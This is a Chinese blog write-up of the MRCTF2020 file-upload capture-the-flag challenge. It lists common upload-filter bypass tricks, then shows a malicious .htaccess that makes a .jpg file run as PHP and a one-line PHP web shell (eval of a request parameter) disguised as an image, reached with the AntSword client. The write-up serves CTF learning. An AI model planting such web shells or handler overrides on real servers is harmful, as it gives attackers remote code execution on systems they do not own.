当前位置:网站首页>[MRCTF2020]你传你码呢
[MRCTF2020]你传你码呢
2022-08-08 18:47:00 【努力做大佬m0_68074153】
1.是兄弟就来传马
题目提示很明显,就是让我们上传木马。
文件上传的基本思路有下面这些方面。
1、前端绕过,抓包修改后缀名,
2、文件内容绕过,用图片马,抓包修改后缀绕过
3、黑名单绕过,那么我们可以改成phtml抓包绕过
4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”
5、大小写绕过,抓包后修改后缀为.PHp
6、空格绕过,抓包修改后缀,在后缀后面加上空格
7、点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )
8、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,
9、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php
10、.user.ini配置文件绕过
2…htaccess文件解析漏洞
经过抓包修改后缀名,修改mime类型,后缀别名之类的修改,发现都被ban了。
最后尝试了一下修改htaccess配置文件发现上传成功了。
.htaccess文件解析漏洞.htaccess文件解析漏洞
通过修改apache的.htaccess配置文件可以将其他类型的文件当作php文件来解析。
上传.htaccess文件文件如下
<FilesMatch "1.jpg">//修改的文件,弱改为.jpg则会吧所有.jpg文件当作php文件解析。
SetHandler application/x-httpd-php
</FilesMatch>
上传时要记得抓包修改一下mime类型绕过mime类型的过滤。
上传成功,接下来上传我们的图片一句话。
<script language='php'>eval($_REQUEST['a']);</script>
上传成功,访问。
一片空白,可以看到我们的1.jpg被当作php解析了。
蚁剑连接。
成功拿到flag。
边栏推荐
猜你喜欢
Oracle - table
Transsion Holdings: At present, there is no clear plan for the company's mobile phone products to enter the Chinese market
【kali-权限提升】(4.2.6)社会工程学工具包(上):中间人攻击原理
数字化工厂建设的内容主要有哪三个方面
Michael Bronstein 系列长文:迈向几何深度学习(之三)——第一个几何神经网络模型
MIMO雷达波束赋形
卡通渲染的历史
Laravel 队列消费实例和定时任务添加任务消费
ORACLE子查询 导致无法谓词推入的研究
LeetCode:每日一题【第二周】
随机推荐
01. Preface
堆排序(Heap Sort)实现
干货技巧|如何用3DsMax制作笔记本电脑
制造企业为什么要部署数字化工厂系统
为啥程序员下班后只关显示器从不关电脑?看看各大网站的答案~
ADB安装方法:
最长子串(长沙理工大学第十一届程序设计竞赛 离线 做了n天.....崩溃了)
Fortinet new cloud native protection products launched amazon cloud platform of science and technology
JVM内存模型和结构详解(五大模型图解)
使用 lua 运行 fscript
“非洲之王”传音答复投资者提问:手机产品暂无计划进入中国
一些小题22.08.07
搭建DG导致归档日志量变多问题排查
DHCP服务初探
Lecture 4: Database Definition Language of DDL Type of SQL Statements
hdu2647 N!Again
Laravel queue consumption instance and timed task add task consumption
视图,索引
Monaco-Editor 多人协作 编辑器
nyoj 712 探 寻 宝 藏(双线dp 第六届河南省程序设计大赛)